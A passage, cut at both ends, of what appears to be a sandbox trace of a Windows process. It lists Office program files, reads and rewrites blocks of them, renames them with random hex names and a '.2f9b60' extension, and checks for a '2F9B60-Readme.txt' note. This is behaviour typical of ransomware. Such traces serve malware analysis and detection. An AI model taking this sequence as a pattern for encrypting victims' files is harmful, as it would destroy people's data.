lpThreadId=0x0) returned 0xa4c [0097.905] FindNextFileW (in: hFindFile=0x1cd9d970, lpFindFileData=0x1ce589f0 | out: lpFindFileData=0x1ce589f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathOMV12", cAlternateFileName="INFOPA~1")) returned 1 [0097.905] wcscmp (_String1="InfoPathOMV12", _String2=".") returned 1 [0097.905] wcscmp (_String1="InfoPathOMV12", _String2="..") returned 1 [0097.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202ae890 [0097.905] wcscpy (in: _Dest=0x202ae890, _Source="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM" [0097.905] wcscat (in: _Dest=0x202ae890, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\" [0097.905] wcscat (in: _Dest=0x202ae890, _Source="InfoPathOMV12" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12" [0097.905] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x202ae890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1340 [0097.906] FindNextFileW (in: hFindFile=0x1cd9d970, lpFindFileData=0x1ce589f0 | out: lpFindFileData=0x1ce589f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c198900, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c198900, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xe770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0097.906] wcscmp (_String1="Microsoft.Office.Infopath.dll", _String2=".") returned 1 [0097.906] wcscmp (_String1="Microsoft.Office.Infopath.dll", _String2="..") returned 1 [0097.906] FindNextFileW (in: hFindFile=0x1cd9d970, lpFindFileData=0x1ce589f0 | out: lpFindFileData=0x1ce589f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x544ee410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="MICROS~1.XML")) returned 1 [0097.906] wcscmp (_String1="Microsoft.Office.InfoPath.xml", _String2=".") returned 1 [0097.906] wcscmp (_String1="Microsoft.Office.InfoPath.xml", _String2="..") returned 1 [0097.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ac420 [0097.906] wcscpy (in: _Dest=0x202ac420, _Source="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM" [0097.906] wcscat (in: _Dest=0x202ac420, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\" [0097.906] wcscat (in: _Dest=0x202ac420, _Source="Microsoft.Office.InfoPath.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\Microsoft.Office.InfoPath.xml") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\Microsoft.Office.InfoPath.xml" [0097.906] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ac420, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1344 [0097.907] FindNextFileW (in: hFindFile=0x1cd9d970, lpFindFileData=0x1ce589f0 | out: lpFindFileData=0x1ce589f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x544ee410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="MICROS~1.XML")) returned 0 [0097.907] FindClose (in: hFindFile=0x1cd9d970 | out: hFindFile=0x1cd9d970) returned 1 [0097.908] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce589f0) returned 1 [0097.908] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d590) returned 1 [0097.908] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85da90) returned 1 Thread: id = 399 os_tid = 0xf6c [0090.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Installed_resources14.xss" (normalized: "c:\\program files\\microsoft office\\office14\\installed_resources14.xss")) returned 0x20 [0090.300] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Installed_resources14.xss", dwFileAttributes=0x20) returned 1 [0090.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Installed_resources14.xss" (normalized: "c:\\program files\\microsoft office\\office14\\installed_resources14.xss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xac4 [0090.304] GetFileSizeEx (in: hFile=0xac4, lpFileSize=0x2722f8c0 | out: lpFileSize=0x2722f8c0*=29016064) returned 1 [0090.304] SetFilePointerEx (in: hFile=0xac4, liDistanceToMove=0x1babffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.304] ReadFile (in: hFile=0xac4, lpBuffer=0x2722f840, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2722f888, lpOverlapped=0x0 | out: lpBuffer=0x2722f840*, lpNumberOfBytesRead=0x2722f888*=0x4, lpOverlapped=0x0) returned 1 [0090.347] SetFilePointerEx (in: hFile=0xac4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859970 [0090.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859880 [0090.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8597c0 [0090.347] NtQuerySystemTime (in: CurrentTime=0x2722f780 | out: CurrentTime=0x2722f780*=132462176961970000) returned 0x0 [0090.347] RtlRandomEx (in: Seed=0x2722f770 | out: Seed=0x2722f770) returned 0x14af5803 [0090.347] RtlRandomEx (in: Seed=0x2722f770 | out: Seed=0x2722f770) returned 0x4c66a1bf [0090.347] RtlRandomEx (in: Seed=0x2722f770 | out: Seed=0x2722f770) returned 0xa0cc3d7 [0090.347] RtlRandomEx (in: Seed=0x2722f770 | out: Seed=0x2722f770) returned 0x44405279 [0090.347] RtlRandomEx (in: Seed=0x2722f770 | out: Seed=0x2722f770) returned 0x27f6a21e [0090.347] RtlRandomEx (in: Seed=0x2722f770 | out: Seed=0x2722f770) returned 0x337a3338 [0090.347] RtlRandomEx (in: Seed=0x2722f770 | out: Seed=0x2722f770) returned 0x33b19ab7 [0090.347] RtlRandomEx (in: Seed=0x2722f770 | out: Seed=0x2722f770) returned 0x459e1ffe [0090.347] RtlRandomEx (in: Seed=0x2722f770 | out: Seed=0x2722f770) returned 0x6f0cd147 [0090.347] RtlRandomEx (in: Seed=0x2722f770 | out: Seed=0x2722f770) returned 0x1f038b66 [0090.347] RtlRandomEx (in: Seed=0x2722f770 | out: Seed=0x2722f770) returned 0x5fea9f63 [0090.347] RtlRandomEx (in: Seed=0x2722f770 | out: Seed=0x2722f770) returned 0x1bb4b691 [0090.347] RtlRandomEx (in: Seed=0x2722f770 | out: Seed=0x2722f770) returned 0x4180cac0 [0090.347] RtlRandomEx (in: Seed=0x2722f770 | out: Seed=0x2722f770) returned 0x18d5822a [0090.347] RtlRandomEx (in: Seed=0x2722f770 | out: Seed=0x2722f770) returned 0xa56ba1 [0090.347] RtlRandomEx (in: Seed=0x2722f770 | out: Seed=0x2722f770) returned 0x7e59a5 [0090.347] RtlRandomEx (in: Seed=0x2722f770 | out: Seed=0x2722f770) returned 0x66007b39 [0090.347] RtlRandomEx (in: Seed=0x2722f770 | out: Seed=0x2722f770) returned 0x6345b9c7 [0090.348] RtlRandomEx (in: Seed=0x2722f770 | out: Seed=0x2722f770) returned 0x44b33449 [0090.348] RtlRandomEx (in: Seed=0x2722f770 | out: Seed=0x2722f770) returned 0x4bdc69b0 [0090.348] RtlRandomEx (in: Seed=0x2722f770 | out: Seed=0x2722f770) returned 0x15fa08c1 [0090.348] RtlRandomEx (in: Seed=0x2722f770 | out: Seed=0x2722f770) returned 0x24f3e93c [0090.348] RtlRandomEx (in: Seed=0x2722f770 | out: Seed=0x2722f770) returned 0x21fd8ef7 [0090.348] RtlRandomEx (in: Seed=0x2722f770 | out: Seed=0x2722f770) returned 0x77d6eca [0090.348] RtlRandomEx (in: Seed=0x2722f770 | out: Seed=0x2722f770) returned 0xd379267 [0090.348] RtlRandomEx (in: Seed=0x2722f770 | out: Seed=0x2722f770) returned 0x109cb8ee [0090.348] RtlRandomEx (in: Seed=0x2722f770 | out: Seed=0x2722f770) returned 0x5900b2d7 [0090.348] RtlRandomEx (in: Seed=0x2722f770 | out: Seed=0x2722f770) returned 0x10433f0c [0090.348] RtlRandomEx (in: Seed=0x2722f770 | out: Seed=0x2722f770) returned 0x78bba50d [0090.348] RtlRandomEx (in: Seed=0x2722f770 | out: Seed=0x2722f770) returned 0x6e38c162 [0090.348] RtlRandomEx (in: Seed=0x2722f770 | out: Seed=0x2722f770) returned 0x54faff05 [0090.348] RtlRandomEx (in: Seed=0x2722f770 | out: Seed=0x2722f770) returned 0x3cb4f5ce [0090.357] SetFilePointerEx (in: hFile=0xac4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.357] ReadFile (in: hFile=0xac4, lpBuffer=0x2011b4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2722f7e0, lpOverlapped=0x0 | out: lpBuffer=0x2011b4e0*, lpNumberOfBytesRead=0x2722f7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0090.363] SetFilePointerEx (in: hFile=0xac4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd973a0 [0090.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e890 [0090.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8597c0 [0090.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8597c0) returned 1 [0090.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20122d00 [0090.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8597c0 [0090.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859700 [0090.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859700) returned 1 [0090.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e890) returned 1 [0090.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd973a0) returned 1 [0090.363] WriteFile (in: hFile=0xac4, lpBuffer=0x20122d00*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2722f7e0, lpOverlapped=0x0 | out: lpBuffer=0x20122d00*, lpNumberOfBytesWritten=0x2722f7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0090.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20122d00) returned 1 [0090.367] SetFilePointerEx (in: hFile=0xac4, liDistanceToMove=0xdd7c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.367] ReadFile (in: hFile=0xac4, lpBuffer=0x2011b4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2722f7e0, lpOverlapped=0x0 | out: lpBuffer=0x2011b4e0*, lpNumberOfBytesRead=0x2722f7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0090.457] SetFilePointerEx (in: hFile=0xac4, liDistanceToMove=0xdd7c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.457] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd973a0 [0090.457] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0090.457] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859eb0 [0090.457] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859eb0) returned 1 [0090.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cee9640 [0090.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859eb0 [0090.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a270 [0090.458] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a270) returned 1 [0090.458] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0090.458] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd973a0) returned 1 [0090.458] WriteFile (in: hFile=0xac4, lpBuffer=0x1cee9640*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2722f7e0, lpOverlapped=0x0 | out: lpBuffer=0x1cee9640*, lpNumberOfBytesWritten=0x2722f7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0097.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cee9640) returned 1 [0097.088] SetFilePointerEx (in: hFile=0xac4, liDistanceToMove=0x1ba8400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.088] ReadFile (in: hFile=0xac4, lpBuffer=0x2011b4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2722f7e0, lpOverlapped=0x0 | out: lpBuffer=0x2011b4e0*, lpNumberOfBytesRead=0x2722f7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0101.292] SetFilePointerEx (in: hFile=0xac4, liDistanceToMove=0x1ba8400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82be00 [0101.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e310 [0101.293] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b290 [0101.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b290) returned 1 [0101.293] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201cc1b0 [0101.293] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b290 [0101.293] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b800 [0101.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b800) returned 1 [0101.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e310) returned 1 [0101.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82be00) returned 1 [0101.293] WriteFile (in: hFile=0xac4, lpBuffer=0x201cc1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2722f7e0, lpOverlapped=0x0 | out: lpBuffer=0x201cc1b0*, lpNumberOfBytesWritten=0x2722f7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0130.271] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201cc1b0) returned 1 [0130.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c1b80 [0130.272] SetFilePointerEx (in: hFile=0xac4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0130.272] WriteFile (in: hFile=0xac4, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x2722f890, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x2722f890*=0x164, lpOverlapped=0x0) returned 1 [0130.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97710 [0130.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ec0 [0130.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859eb0 [0130.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859eb0) returned 1 [0130.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cd9f270 [0130.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859eb0 [0130.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8596d0 [0130.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8596d0) returned 1 [0130.276] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ec0) returned 1 [0130.276] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97710) returned 1 [0130.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x65) returned 0x1b7c19c0 [0130.276] sprintf (in: _Dest=0x1b7c19c0, _Format="%c%c" | out: _Dest="f8") returned 2 [0130.276] sprintf (in: _Dest=0x1b7c19c2, _Format="%c%c" | out: _Dest="cc") returned 2 [0130.276] sprintf (in: _Dest=0x1b7c19c4, _Format="%c%c" | out: _Dest="1e") returned 2 [0130.276] sprintf (in: _Dest=0x1b7c19c6, _Format="%c%c" | out: _Dest="df") returned 2 [0130.276] sprintf (in: _Dest=0x1b7c19c8, _Format="%c%c" | out: _Dest="7b") returned 2 [0130.276] sprintf (in: _Dest=0x1b7c19ca, _Format="%c%c" | out: _Dest="31") returned 2 [0130.276] sprintf (in: _Dest=0x1b7c19cc, _Format="%c%c" | out: _Dest="76") returned 2 [0130.276] sprintf (in: _Dest=0x1b7c19ce, _Format="%c%c" | out: _Dest="88") returned 2 [0130.276] sprintf (in: _Dest=0x1b7c19d0, _Format="%c%c" | out: _Dest="62") returned 2 [0130.276] sprintf (in: _Dest=0x1b7c19d2, _Format="%c%c" | out: _Dest="ef") returned 2 [0130.276] sprintf (in: _Dest=0x1b7c19d4, _Format="%c%c" | out: _Dest="e4") returned 2 [0130.276] sprintf (in: _Dest=0x1b7c19d6, _Format="%c%c" | out: _Dest="11") returned 2 [0130.276] sprintf (in: _Dest=0x1b7c19d8, _Format="%c%c" | out: _Dest="bf") returned 2 [0130.276] sprintf (in: _Dest=0x1b7c19da, _Format="%c%c" | out: _Dest="15") returned 2 [0130.276] sprintf (in: _Dest=0x1b7c19dc, _Format="%c%c" | out: _Dest="61") returned 2 [0130.276] sprintf (in: _Dest=0x1b7c19de, _Format="%c%c" | out: _Dest="52") returned 2 [0130.276] sprintf (in: _Dest=0x1b7c19e0, _Format="%c%c" | out: _Dest="bd") returned 2 [0130.276] sprintf (in: _Dest=0x1b7c19e2, _Format="%c%c" | out: _Dest="ea") returned 2 [0130.276] sprintf (in: _Dest=0x1b7c19e4, _Format="%c%c" | out: _Dest="41") returned 2 [0130.276] sprintf (in: _Dest=0x1b7c19e6, _Format="%c%c" | out: _Dest="5d") returned 2 [0130.276] sprintf (in: _Dest=0x1b7c19e8, _Format="%c%c" | out: _Dest="71") returned 2 [0130.276] sprintf (in: _Dest=0x1b7c19ea, _Format="%c%c" | out: _Dest="e2") returned 2 [0130.277] sprintf (in: _Dest=0x1b7c19ec, _Format="%c%c" | out: _Dest="3d") returned 2 [0130.277] sprintf (in: _Dest=0x1b7c19ee, _Format="%c%c" | out: _Dest="38") returned 2 [0130.277] sprintf (in: _Dest=0x1b7c19f0, _Format="%c%c" | out: _Dest="13") returned 2 [0130.277] sprintf (in: _Dest=0x1b7c19f2, _Format="%c%c" | out: _Dest="df") returned 2 [0130.277] sprintf (in: _Dest=0x1b7c19f4, _Format="%c%c" | out: _Dest="32") returned 2 [0130.277] sprintf (in: _Dest=0x1b7c19f6, _Format="%c%c" | out: _Dest="bc") returned 2 [0130.277] sprintf (in: _Dest=0x1b7c19f8, _Format="%c%c" | out: _Dest="d0") returned 2 [0130.277] sprintf (in: _Dest=0x1b7c19fa, _Format="%c%c" | out: _Dest="f6") returned 2 [0130.277] sprintf (in: _Dest=0x1b7c19fc, _Format="%c%c" | out: _Dest="83") returned 2 [0130.277] sprintf (in: _Dest=0x1b7c19fe, _Format="%c%c" | out: _Dest="c8") returned 2 [0130.277] sprintf (in: _Dest=0x1b7c1a00, _Format="%c%c" | out: _Dest="01") returned 2 [0130.277] sprintf (in: _Dest=0x1b7c1a02, _Format="%c%c" | out: _Dest="79") returned 2 [0130.277] sprintf (in: _Dest=0x1b7c1a04, _Format="%c%c" | out: _Dest="9d") returned 2 [0130.277] sprintf (in: _Dest=0x1b7c1a06, _Format="%c%c" | out: _Dest="03") returned 2 [0130.277] sprintf (in: _Dest=0x1b7c1a08, _Format="%c%c" | out: _Dest="79") returned 2 [0130.277] sprintf (in: _Dest=0x1b7c1a0a, _Format="%c%c" | out: _Dest="12") returned 2 [0130.277] sprintf (in: _Dest=0x1b7c1a0c, _Format="%c%c" | out: _Dest="02") returned 2 [0130.277] sprintf (in: _Dest=0x1b7c1a0e, _Format="%c%c" | out: _Dest="d4") returned 2 [0130.277] sprintf (in: _Dest=0x1b7c1a10, _Format="%c%c" | out: _Dest="ac") returned 2 [0130.277] sprintf (in: _Dest=0x1b7c1a12, _Format="%c%c" | out: _Dest="3d") returned 2 [0130.277] sprintf (in: _Dest=0x1b7c1a14, _Format="%c%c" | out: _Dest="ef") returned 2 [0130.277] sprintf (in: _Dest=0x1b7c1a16, _Format="%c%c" | out: _Dest="21") returned 2 [0130.277] sprintf (in: _Dest=0x1b7c1a18, _Format="%c%c" | out: _Dest="a6") returned 2 [0130.277] sprintf (in: _Dest=0x1b7c1a1a, _Format="%c%c" | out: _Dest="b0") returned 2 [0130.277] sprintf (in: _Dest=0x1b7c1a1c, _Format="%c%c" | out: _Dest="b0") returned 2 [0130.277] sprintf (in: _Dest=0x1b7c1a1e, _Format="%c%c" | out: _Dest="33") returned 2 [0130.277] sprintf (in: _Dest=0x1b7c1a20, _Format="%c%c" | out: _Dest="cb") returned 2 [0130.277] sprintf (in: _Dest=0x1b7c1a22, _Format="%c%c" | out: _Dest="e5") returned 2 [0130.277] RtlInitAnsiString (in: DestinationString=0x2722f908, SourceString="f8cc1edf7b31768862efe411bf156152bdea415d71e23d3813df32bcd0f683c801799d03791202d4ac3def21a6b0b033cbe5" | out: DestinationString="f8cc1edf7b31768862efe411bf156152bdea415d71e23d3813df32bcd0f683c801799d03791202d4ac3def21a6b0b033cbe5") [0130.277] RtlAnsiStringToUnicodeString (in: DestinationString=0x2722f8d8, SourceString="f8cc1edf7b31768862efe411bf156152bdea415d71e23d3813df32bcd0f683c801799d03791202d4ac3def21a6b0b033cbe5", AllocateDestinationString=1 | out: DestinationString="f8cc1edf7b31768862efe411bf156152bdea415d71e23d3813df32bcd0f683c801799d03791202d4ac3def21a6b0b033cbe5") returned 0x0 [0130.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1b776930 [0130.278] wcscat (in: _Dest=0x4205c970, _Source="f8cc1edf7b31768862efe411b" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\f8cc1edf7b31768862efe411b") returned="C:\\Program Files\\Microsoft Office\\Office14\\f8cc1edf7b31768862efe411b" [0130.278] wcscat (in: _Dest=0x4205c970, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\f8cc1edf7b31768862efe411b.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\f8cc1edf7b31768862efe411b.2f9b60" [0130.278] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\f8cc1edf7b31768862efe411b.2f9b60", NtPathName=0x2722f8b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\f8cc1edf7b31768862efe411b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0130.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x106e80 [0145.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106e80) returned 1 [0145.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1230d0) returned 1 [0145.806] NtQueryInformationFile (in: FileHandle=0xac4, IoStatusBlock=0x2722f918, FileInformation=0x2722f928, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2722f918, FileInformation=0x2722f928) returned 0x0 [0145.806] NtSetInformationFile (FileHandle=0xac4, IoStatusBlock=0x2722f918, FileInformation=0x2722f928, Length=0x28, FileInformationClass=0x4) returned 0x0 [0145.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c970) returned 1 [0145.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776930) returned 1 [0145.983] FlushFileBuffers (hFile=0xac4) returned 1 [0146.028] CloseHandle (hObject=0xac4) returned 1 [0146.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202ae4a0 [0146.083] wcscpy (in: _Dest=0x202ae4a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0146.083] wcscat (in: _Dest=0x202ae4a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" [0146.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\2f9b60-readme.txt")) returned 0x20 [0146.083] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae4a0) returned 1 [0146.083] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad480) returned 1 Thread: id = 400 os_tid = 0xf70 [0090.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Installed_schemas14.xss" (normalized: "c:\\program files\\microsoft office\\office14\\installed_schemas14.xss")) returned 0x20 [0090.281] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Installed_schemas14.xss", dwFileAttributes=0x20) returned 1 [0090.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Installed_schemas14.xss" (normalized: "c:\\program files\\microsoft office\\office14\\installed_schemas14.xss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xabc [0090.298] GetFileSizeEx (in: 